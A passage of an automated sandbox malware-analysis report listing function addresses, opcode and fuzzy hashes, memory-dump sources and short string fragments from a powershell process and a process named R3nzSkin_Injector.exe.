Instruction ID: ae5d6c47ea7241381b4b95003a066edfb8025a752a2fedada2d7c556a0ff624f
Opcode Fuzzy Hash: 45a59f8f50f8bc34ab2b3b8325b6405648f3fa89288e86dce2dfa2b0b6d87103
Instruction Fuzzy Hash: 75D0123104D3855FC3169B65D4A55247F24AE021043180CCAD14A4F1B3DB667954CB15

Function 02F4F548 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 95254c1faceee0a380663bc7ec8f5915f02ad029dd2d4a5c1c5ef774a90bac56
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: D2D067B1D042099FCB80EFADC94156EFFF4EB48200F6085AA891DE7301E7729A12CBD1

Function 02F488F0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84907782fbefa367823d1750ed5f5be4ac1152a57d634b851a0fe8ac5633cb9c
Instruction ID: 91c414683168da7708f32043d7e9e856ad17570ac85823f7e3beaf5e0572f0ca
Opcode Fuzzy Hash: 84907782fbefa367823d1750ed5f5be4ac1152a57d634b851a0fe8ac5633cb9c
Instruction Fuzzy Hash: EED01734A0420A8F8B48EFA8E85A86EBFB9EB84700F104169DE0993741EA306841CBC1

Function 02F48828 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9ace7d62a47dee1ed77efdb2a0d36f97b2debb6ad2e8e1e6f354a418ac377dc
Instruction ID: 86c11e6ae6366ca101a0737ff132668cd71cacec54f622d6cc5f7e482ac249e5
Opcode Fuzzy Hash: d9ace7d62a47dee1ed77efdb2a0d36f97b2debb6ad2e8e1e6f354a418ac377dc
Instruction Fuzzy Hash: A4D0173180410D8BCF88EBA4E81A8BEBB38FA54701F50016DDA1752591EF301A4BCBC0

Function 02F47F71 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69a4b95640ba9586e51e73e3b093f601958a5dfd2d704909da9742349a0cbba6
Instruction ID: 84c88d860eaad1cce55906bf37889df25bff25b8c8b9e66bf717168af5d707a9
Opcode Fuzzy Hash: 69a4b95640ba9586e51e73e3b093f601958a5dfd2d704909da9742349a0cbba6
Instruction Fuzzy Hash: E8C012311182904FDB0A9B34889041A7F715F435C07558586C1418B092CA6108099A15

Function 02F47A08 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fdfb8ce9f7457e0c7e434abfc3a66c868f55615b547163c35a3f510e86d5195
Instruction ID: 5faf20c5193cb78e92d679c9a037cf1ab18c9ce39c1fb78bad7a225695fc370a
Opcode Fuzzy Hash: 3fdfb8ce9f7457e0c7e434abfc3a66c868f55615b547163c35a3f510e86d5195
Instruction Fuzzy Hash: 7FB092310447098FC2196F76E4089247B29BA4420978008ACE50F0A2A7CE37E855CA55

Non-executed Functions

Function 02F4C72F Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f9e1f42b97bc0802959319dcc22a083034e1ac9dc51c6d9eeb2dc5da2adaf3b
Instruction ID: 39203397d09d34f7f973734a3e8ad54d27b546c780b28411fcab8e3bc5751598
Opcode Fuzzy Hash: 9f9e1f42b97bc0802959319dcc22a083034e1ac9dc51c6d9eeb2dc5da2adaf3b
Instruction Fuzzy Hash: 5C5163A285E3E15EE707AB3898B50C63FB09E63665B0A04D7C0D58E5B3D51C484EC7AA

Function 02F49063 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14956bddcb4616b5e1c2dddbb96dd05a9d63280ba7ab3e00fbcbb441ec3144cd
Instruction ID: da9487d640bfd245429899a319809ce9d63e5e914a1854b07b177291afb759c0
Opcode Fuzzy Hash: 14956bddcb4616b5e1c2dddbb96dd05a9d63280ba7ab3e00fbcbb441ec3144cd
Instruction Fuzzy Hash: 4D31146140E3E04FE7479B3898651863FB1AF57255B0A44EBC0C5CF1B3D958484ACB6A

Function 07601BE0 Relevance: 20.4, Strings: 16, Instructions: 408COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07601C86
JKl, xrefs: 07602017
tP^q, xrefs: 07601FDF
4'^q, xrefs: 07601F89
84Hl, xrefs: 07601F76
JKl, xrefs: 076020C2
4'^q, xrefs: 07601C92
rJl, xrefs: 07601C53
4'^q, xrefs: 07601F95
JKl, xrefs: 076020CE
$c=k, xrefs: 076020B4
JKl, xrefs: 0760200B
tP^q, xrefs: 07601FEB
JKl, xrefs: 07601FA1
rJl, xrefs: 07601C5D
84Hl, xrefs: 07601F6C

Memory Dump Source

Source File: 00000001.00000002.1733781604.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: $c=k$4'^q$4'^q$4'^q$4'^q$84Hl$84Hl$tP^q$tP^q$JKl$JKl$JKl$JKl$JKl$rJl$rJl
API String ID: 0-2362723233
Opcode ID: 09f368d9b992a4ab22a1dbd5340812f583817ce80495e7bcf002652badcf6955
Instruction ID: 293f74510dae3039c2b4c9aab75ea91915f48a76a55a616d9a7d1c8d4175abb0
Opcode Fuzzy Hash: 09f368d9b992a4ab22a1dbd5340812f583817ce80495e7bcf002652badcf6955
Instruction Fuzzy Hash: E6D1F6B1B042198FCB1D8B78841466FFBE2BF86311F18846BD5168B395DB31C846C7E1

Function 07603928 Relevance: 12.8, Strings: 10, Instructions: 331COMMON

Download Yara Rule

Strings

tP^q, xrefs: 076039A5
$^q, xrefs: 07603960
$^q, xrefs: 07603C0E
$^q, xrefs: 0760393A
@l, xrefs: 07603A1D
4'^q, xrefs: 07603B35
$^q, xrefs: 0760396C
tP^q, xrefs: 076039B1
4'^q, xrefs: 07603B29
@l, xrefs: 07603A0F

Memory Dump Source

Source File: 00000001.00000002.1733781604.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q$@l$@l
API String ID: 0-3606617665
Opcode ID: 8e3ae2c177cbf304b45c654379980350911c31c7a3f014af31f197b16fe6d85f
Instruction ID: e50ab195de663698eca593155cae4580f5528381b3e6235d1bfab071ebbd06ab
Opcode Fuzzy Hash: 8e3ae2c177cbf304b45c654379980350911c31c7a3f014af31f197b16fe6d85f
Instruction Fuzzy Hash: 14B127B17042558FC7199A7A8805B6BBBE1AF86612F1480AED446CF3D2DF31CC46C7E1

Function 07600488 Relevance: 9.2, Strings: 7, Instructions: 499COMMON

Download Yara Rule

Strings

fcq, xrefs: 0760094B
rJl, xrefs: 0760092B
4'^q, xrefs: 07600962
4'^q, xrefs: 076005F6
4'^q, xrefs: 076005EC
rJl, xrefs: 07600935
4'^q, xrefs: 0760096E

Memory Dump Source

Source File: 00000001.00000002.1733781604.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: fcq$4'^q$4'^q$4'^q$4'^q$rJl$rJl
API String ID: 0-2753589340
Opcode ID: 216c1c1a282ad3d422512a03bb483056b2c2e6d9a40920540dfb3bc32318ad19
Instruction ID: 445f1eda39f7bef88c723acf39c3bee67c7cfc862f509671d570a8c70f58fdeb
Opcode Fuzzy Hash: 216c1c1a282ad3d422512a03bb483056b2c2e6d9a40920540dfb3bc32318ad19
Instruction Fuzzy Hash: 63F146B17042558FCB199B789410BBBBBA2AFC2211F1484BBD54ACB792DF319C46C7E1

Function 07603678 Relevance: 8.9, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0760372E
@l, xrefs: 0760386D
$^q, xrefs: 076037FF
@l, xrefs: 0760387B
$^q, xrefs: 0760382A
4'^q, xrefs: 07603722
$^q, xrefs: 07603836

Memory Dump Source

Source File: 00000001.00000002.1733781604.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q$@l$@l
API String ID: 0-253982382
Opcode ID: 7cf32afa49cabb4491eaf8b8d9f8e304a72f7fd1dc7938bf579acfc355daf282
Instruction ID: 78f069bfcd5cd94a2210be954075ec33c76ed1200d0fa35da90e91af4d7561e5
Opcode Fuzzy Hash: 7cf32afa49cabb4491eaf8b8d9f8e304a72f7fd1dc7938bf579acfc355daf282
Instruction Fuzzy Hash: CC512AF57042069BCB294A7A8405A67BBA2AFC6612F2484AFD446CB3C1DF31C842C7E1

Function 02F47AE8 Relevance: 6.5, Strings: 5, Instructions: 237COMMON

Download Yara Rule

Strings

`_q, xrefs: 02F47BEB
tMJl, xrefs: 02F47B9C
`_q, xrefs: 02F47D8A
`_q, xrefs: 02F47C6A
`_q, xrefs: 02F47D0C

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID: tMJl$`_q$`_q$`_q$`_q
API String ID: 0-2555485004
Opcode ID: 25f7c5eb3d7224aa4dde2857611a1c1a8cfed7182ff45bf343a93cbcb2577da0
Instruction ID: bbeefd79c213ffb26ce5139d9e3f1edd6f54d18a37ac856ec709e28e9841e1d2
Opcode Fuzzy Hash: 25f7c5eb3d7224aa4dde2857611a1c1a8cfed7182ff45bf343a93cbcb2577da0
Instruction Fuzzy Hash: 88B19774E002199FCB54DFA9D590A9DFBF2FF88300F10862AE519AB354DB70A945CF90

Function 02F47AF8 Relevance: 6.5, Strings: 5, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 02F47BEB
tMJl, xrefs: 02F47B9C
`_q, xrefs: 02F47D8A
`_q, xrefs: 02F47C6A
`_q, xrefs: 02F47D0C

Memory Dump Source

Source File: 00000001.00000002.1692647021.0000000002F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2f40000_powershell.jbxd

Similarity

API ID:
String ID: tMJl$`_q$`_q$`_q$`_q
API String ID: 0-2555485004
Opcode ID: 762279dea690f0887a8bf8c4d2291236d43d97b44bfca129821b4ca23f5dbe0e
Instruction ID: 467f8b2deaa6ff3d3c4d2caafe74331ec651c6343a1191c02c11a82039c37d60
Opcode Fuzzy Hash: 762279dea690f0887a8bf8c4d2291236d43d97b44bfca129821b4ca23f5dbe0e
Instruction Fuzzy Hash: 9CB19574E002199FCB54DFA9D990A9DFBF2FF88300F108629E519AB354EB70A945CF90

Function 0760030A Relevance: 6.3, Strings: 5, Instructions: 73COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0760037F
4'^q, xrefs: 07600373
$^q, xrefs: 07600352
$^q, xrefs: 0760035E
4'^q, xrefs: 076002EB

Memory Dump Source

Source File: 00000001.00000002.1733781604.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$$^q$$^q
API String ID: 0-2831958266
Opcode ID: eabe445023d0e59d463c76ffd300c89b949c3136d502dc3baac175ffcbf8112b
Instruction ID: 812737c674735402a053f23ccf0097f4f2d3ebdd314e1816eb4bfad8ffb8336b
Opcode Fuzzy Hash: eabe445023d0e59d463c76ffd300c89b949c3136d502dc3baac175ffcbf8112b
Instruction Fuzzy Hash: 061138B2B4C3968FC72F16785420226BBB25FC295172944EBC082DF38BCE254D4A83D7

Function 07605798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 076057AA
$^q, xrefs: 076057C6
$^q, xrefs: 07605800
$^q, xrefs: 076057F4

Memory Dump Source

Source File: 00000001.00000002.1733781604.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: ea81f4883d1fb098611f3beae3731e5e41dfd022a8b5430d6a342390544c08f2
Instruction ID: 68dbeda1bb72ce0c7214df020939fd717a27ef036500842bc8c7a42c4d885b1d
Opcode Fuzzy Hash: ea81f4883d1fb098611f3beae3731e5e41dfd022a8b5430d6a342390544c08f2
Instruction Fuzzy Hash: E62137B17102269BDB2C657A8805F27B7DA9BC0711F24843AA9078B3C7DE35C85187A1

Function 0760390A Relevance: 5.1, Strings: 4, Instructions: 93COMMON

Download Yara Rule

Strings

tP^q, xrefs: 076039A5
$^q, xrefs: 07603960
$^q, xrefs: 0760393A
$^q, xrefs: 0760396C

Memory Dump Source

Source File: 00000001.00000002.1733781604.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$$^q$$^q$$^q
API String ID: 0-3061638629
Opcode ID: 1dcc4372efc41170d39758b245cb621594fc979265e0fff67a5cb18f13f20929
Instruction ID: 9f12e7dde86a1fcd3aa4ed934a408d46721a3754d7dd596432c793032ae2996a
Opcode Fuzzy Hash: 1dcc4372efc41170d39758b245cb621594fc979265e0fff67a5cb18f13f20929
Instruction Fuzzy Hash: 873159B66043459FC7194F368800A667BB1AF82B22B15409FE406DF3E2DB358C45C7E1

Function 0760210A Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

JKl, xrefs: 0760214A
$^q, xrefs: 07602172
$^q, xrefs: 07602166
JKl, xrefs: 07602156

Memory Dump Source

Source File: 00000001.00000002.1733781604.0000000007600000.00000040.00000800.00020000.00000000.sdmp, Offset: 07600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7600000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$JKl$JKl
API String ID: 0-2794964715
Opcode ID: b3453f58e891928e189954b13a78135bde4810e682915e78e03e04027b2df555
Instruction ID: 264c95d3159babff2cc4c08882cc7a8c3e7d14704c360c8f0ba264c067d01ebc
Opcode Fuzzy Hash: b3453f58e891928e189954b13a78135bde4810e682915e78e03e04027b2df555
Instruction Fuzzy Hash: 870124B66093A04FC32B42384C244537FBAAFC762172945DBCA85EF2A7C9344C09C3B2

Analysis Process: R3nzSkin_Injector.exePID: 2664, Parent PID: 5804COMMON

Executed Functions

Function 00007FFD9BA04528 Relevance: 1.0, Instructions: 983COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0e692dd38f085aaa25e8ddc535d42d07e7241558348b3642a9f4e18cd5a6ee8
Instruction ID: 1bf91f9e6525dc0b07c7312d6ff7486ff78e2836f98a16e7c1b971c95070ce13
Opcode Fuzzy Hash: d0e692dd38f085aaa25e8ddc535d42d07e7241558348b3642a9f4e18cd5a6ee8
Instruction Fuzzy Hash: 58622620A1995D49D769EB64C864BFA77B1EF67300F0641FED04AC30B2DEB96B45CB80

Function 00007FFD9BA07FC7 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b26485e48e462717cb36378341a185396369850bfffa5b738e4cf6505934d85
Instruction ID: 28fb0200496add82609c6afce446488a0138423923ea714859f86359193e0927
Opcode Fuzzy Hash: 2b26485e48e462717cb36378341a185396369850bfffa5b738e4cf6505934d85
Instruction Fuzzy Hash: F8519620508A5D4DD759EB38C4A4ABAB7E0FF1F301F0645EAD05EDB473EA689B40CB80

Function 00007FFD9BA027A1 Relevance: 2.7, Strings: 2, Instructions: 177COMMON

Download Yara Rule

Strings

\{Sp, xrefs: 00007FFD9BA02829
\{Sp, xrefs: 00007FFD9BA0283F

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID: \{Sp$\{Sp
API String ID: 0-3068597285
Opcode ID: 1a8ffb3beb19bae3085ac13674f435371b1890394f35e7a71dc4ec3d7bd36ef0
Instruction ID: c8b3a856128eb520a477c5e29697380f542d437ed3f5eca2f4321578a1e450a0
Opcode Fuzzy Hash: 1a8ffb3beb19bae3085ac13674f435371b1890394f35e7a71dc4ec3d7bd36ef0
Instruction Fuzzy Hash: 21514E30E0D74D8FEB64DBA888657E97BE0FF56310F01417AE08DD71A2DAB86945CB41

Function 00007FFD9BA013DD Relevance: 1.5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

Strings

X{Sp, xrefs: 00007FFD9BA03D44

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID: X{Sp
API String ID: 0-3066691659
Opcode ID: 414272eea2f0bd3c68c7b99bcb80d91e095acd328c8fa22d7203736e2bdcae79
Instruction ID: 815a7cb58433dd10ac05865d56de4caf3417ec0941efbaa472b8bc2f56955863
Opcode Fuzzy Hash: 414272eea2f0bd3c68c7b99bcb80d91e095acd328c8fa22d7203736e2bdcae79
Instruction Fuzzy Hash: 88616202B0D56705F32633BC74A6DF96B80CF42375F0A86B7E99F890D78D4B688982D5

Function 00007FFD9BA03DDD Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

M_H, xrefs: 00007FFD9BA03E6D

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID: M_H
API String ID: 0-372873180
Opcode ID: 7afc885409b1f0eba87c001cc8240ec8b427a5abe08b944bd90cc4edbd921a18
Instruction ID: 1a3e104a523e240790f0b978e7c731361711e01209e4b8ccd79143da673063dd
Opcode Fuzzy Hash: 7afc885409b1f0eba87c001cc8240ec8b427a5abe08b944bd90cc4edbd921a18
Instruction Fuzzy Hash: D441D631F09A4D0FEB64E7B4443A5FC7BE1EF6A210F0901BAE049D71E7DD6869418351

Function 00007FFD9BA022D3 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

!N_^, xrefs: 00007FFD9BA02301

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID: !N_^
API String ID: 0-4064185061
Opcode ID: d9a472c65e24c0b8ba073587d31c3f1ec759a430866956aab054802535d714c5
Instruction ID: e0f5148eae2c88a88c999ea2c81932a395dee02fc9eb400a97824f48150fbb65
Opcode Fuzzy Hash: d9a472c65e24c0b8ba073587d31c3f1ec759a430866956aab054802535d714c5
Instruction Fuzzy Hash: D7112737B0D75E5FE316B798A8625E9BB60EF12261F0601BBD18AC60D3DE50260A8781

Function 00007FFD9BA0ACFA Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9BA0ACFA

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 6fd4e1f61d84f233242d67a4963f253dee3f4bdaead5eacde689cdd1d624a0a3
Instruction ID: 4b472021818e679c38caa5d60546de301e04b46749684ac57c4c420fbdce51fc
Opcode Fuzzy Hash: 6fd4e1f61d84f233242d67a4963f253dee3f4bdaead5eacde689cdd1d624a0a3
Instruction Fuzzy Hash: F9114C31B1D61E8BEBA4EFA8C4A46ED7392FF56301F510539E49AC31A1CE75A9118740

Function 00007FFD9BA022CD Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

!N_^, xrefs: 00007FFD9BA02301

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID: !N_^
API String ID: 0-4064185061
Opcode ID: 11f8fcdd3960dcc7690e57acb4721b5379451e2fa29c9a178dc9564ea039906d
Instruction ID: dda52eb43aa62e88ad55ced26cbe614843c7de9fe882b394cf7e432b92892536
Opcode Fuzzy Hash: 11f8fcdd3960dcc7690e57acb4721b5379451e2fa29c9a178dc9564ea039906d
Instruction Fuzzy Hash: FD01FE3290D74D9FD715AB94D8621E9BB60EF13210F0605BBD5C5860E2DB602716C781

Function 00007FFD9BA03CF2 Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

X{Sp, xrefs: 00007FFD9BA03D44

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID: X{Sp
API String ID: 0-3066691659
Opcode ID: 10a40f3d4bab47bba032bdb6d2735bf56f7dcf7f571f9cfcc290305cbd926c35
Instruction ID: 1df1fbdfd0ef296149165ea944a942199d331ece06ab13f3aa14f4ea1715818e
Opcode Fuzzy Hash: 10a40f3d4bab47bba032bdb6d2735bf56f7dcf7f571f9cfcc290305cbd926c35
Instruction Fuzzy Hash: BA01AD1194F7CA4EE7B347B909252A17FE09F87120F0F41EAD4D88A0A3D98D4D8AC352

Function 00007FFD9BA01590 Relevance: 1.3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

X{Sp, xrefs: 00007FFD9BA03D44

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID: X{Sp
API String ID: 0-3066691659
Opcode ID: c946ebdf84314b7e85f83c0462c79acfde2c33cace31b7b3bdc8227d33ba9211
Instruction ID: 45555b8ca4077cd176f421df957b3c99037848d2689c00b8df5cf1dc8d0368a7
Opcode Fuzzy Hash: c946ebdf84314b7e85f83c0462c79acfde2c33cace31b7b3bdc8227d33ba9211
Instruction Fuzzy Hash: 9E01D422F0E61F46E77667AD14252E8A3C0AF4B315F0A46B2E4998A0E3E95928848781

Function 00007FFD9BA015A8 Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

X{Sp, xrefs: 00007FFD9BA03D44

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID: X{Sp
API String ID: 0-3066691659
Opcode ID: ec5bc6fdb0142e8517d308174aa1aeb50f4ad5d068c65e39a31f50f460a2bc21
Instruction ID: 89044b284c6c0727a1e5fb61065bcbecb0b7c33621098cf0d125ee48b9057c55
Opcode Fuzzy Hash: ec5bc6fdb0142e8517d308174aa1aeb50f4ad5d068c65e39a31f50f460a2bc21
Instruction Fuzzy Hash: 8CF02B21E0F65F4AE77653AD04253F866C0AF4B215F0F4671E49D5A0E2DD992D8082C1

Function 00007FFD9BA15588 Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ef45c8df76d7a35d62e9f84cc4be8c908a0de46b812454099320995f721f628
Instruction ID: 301018b0dbdff36cad3d5c69c50263ce313852b1f27ddefb8fd03ab00228f1d5
Opcode Fuzzy Hash: 9ef45c8df76d7a35d62e9f84cc4be8c908a0de46b812454099320995f721f628
Instruction Fuzzy Hash: EBB1C430A0DA1D8FDBA8DF88C8516B973F2FF95310F11417AD04EC7295CA78B9468B81

Function 00007FFD9BA0EFAC Relevance: .3, Instructions: 313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 891a4a2161e80a50e02bbfa1dc6e769e4838b9bdddb0007fa0ffe16881b664af
Instruction ID: 4f0f9672c6becd920f70cfb2e8d0cfc4ce1aa9427be1cef83a2d2d5fa730e4b6
Opcode Fuzzy Hash: 891a4a2161e80a50e02bbfa1dc6e769e4838b9bdddb0007fa0ffe16881b664af
Instruction Fuzzy Hash: BDA1375298E7D60FD36387A458354A07FB16E13211B1F85EBC4C9DB1F3DA8EA949C322

Function 00007FFD9BA0BE00 Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1733371320.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9ba00000_R3nzSkin_Injector.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb36a3f667cfd9404c1f6c5a016663e8351448a7a249c1aeff60b45846579b26
Instruction ID: 0bd21c3beda6fafd1e5d438bd89ceef7148614529767b54c5f3c8bc85a49ba13
Opcode Fuzzy Hash: cb36a3f667cfd9404c1f6c5a016663e8351448a7a249c1aeff60b45846579b26
Instruction Fuzzy Hash: F9A11631D0E6CD5FE7178BB48C266E97FA0DF13250F0902AAD0D5C71E3EAA96906C791

